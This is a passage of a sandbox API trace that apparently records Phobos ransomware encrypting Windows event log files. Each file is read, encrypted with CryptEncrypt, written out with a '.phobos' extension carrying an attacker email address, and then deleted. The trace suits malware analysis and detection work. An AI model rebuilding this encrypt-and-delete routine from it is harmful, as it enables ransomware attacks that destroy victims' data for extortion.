(hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.296] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.296] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.296] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.296] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0060.296] CloseHandle (hObject=0x300) returned 1 [0060.296] CloseHandle (hObject=0x304) returned 1 [0060.300] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0060.302] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.302] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.302] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.302] CloseHandle (hObject=0x304) returned 1 [0060.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0060.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.303] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.303] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.303] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.303] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.303] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc950) returned 1 [0060.303] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.303] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.360] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.360] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.362] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dca50) returned 1 [0060.362] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.362] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70, dwBufLen=0x70 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x70) returned 1 [0060.362] CryptDestroyKey (hKey=0x10dca50) returned 1 [0060.362] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x122, lpOverlapped=0x0) returned 1 [0060.362] CryptDestroyKey (hKey=0x10dc950) returned 1 [0060.362] CloseHandle (hObject=0x304) returned 1 [0060.362] CloseHandle (hObject=0x300) returned 1 [0060.364] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0060.366] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.366] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.366] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.366] CloseHandle (hObject=0x300) returned 1 [0060.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0060.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.366] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.366] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.366] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.366] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.367] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dca50) returned 1 [0060.367] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.367] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.396] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.396] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.398] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc590) returned 1 [0060.398] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.398] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.398] CryptDestroyKey (hKey=0x10dc590) returned 1 [0060.398] WriteFile (in: hFile=0x304, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.398] CryptDestroyKey (hKey=0x10dca50) returned 1 [0060.398] CloseHandle (hObject=0x300) returned 1 [0060.398] CloseHandle (hObject=0x304) returned 1 [0060.400] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0060.401] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.401] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.403] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.403] CloseHandle (hObject=0x304) returned 1 [0060.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0060.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.403] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.403] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.403] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.403] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.403] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb90) returned 1 [0060.403] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.403] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.440] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.440] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.441] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc750) returned 1 [0060.441] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.441] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.441] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.441] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.441] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.441] CloseHandle (hObject=0x304) returned 1 [0060.442] CloseHandle (hObject=0x300) returned 1 [0060.443] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0060.444] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.444] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.444] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.445] CloseHandle (hObject=0x300) returned 1 [0060.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0060.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.445] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.445] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.445] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.445] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.462] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb10) returned 1 [0060.462] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.462] ReadFile (in: hFile=0x300, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.506] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.506] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.508] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb90) returned 1 [0060.508] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.508] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0, dwBufLen=0xb0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0) returned 1 [0060.508] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.508] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x162, lpOverlapped=0x0) returned 1 [0060.508] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.508] CloseHandle (hObject=0x300) returned 1 [0060.508] CloseHandle (hObject=0x310) returned 1 [0060.510] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0060.511] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.511] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.511] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.512] CloseHandle (hObject=0x310) returned 1 [0060.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0060.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.512] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.512] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.512] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.512] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0060.513] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc550) returned 1 [0060.513] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.513] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.653] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.653] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.655] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc590) returned 1 [0060.655] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.655] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0, dwBufLen=0xc0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0) returned 1 [0060.655] CryptDestroyKey (hKey=0x10dc590) returned 1 [0060.655] WriteFile (in: hFile=0x300, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x172, lpOverlapped=0x0) returned 1 [0060.655] CryptDestroyKey (hKey=0x10dc550) returned 1 [0060.655] CloseHandle (hObject=0x310) returned 1 [0060.655] CloseHandle (hObject=0x300) returned 1 [0060.657] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0060.659] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.659] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.662] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.662] CloseHandle (hObject=0x328) returned 1 [0060.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0060.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.662] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.662] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.662] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.662] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.666] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0060.666] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.666] ReadFile (in: 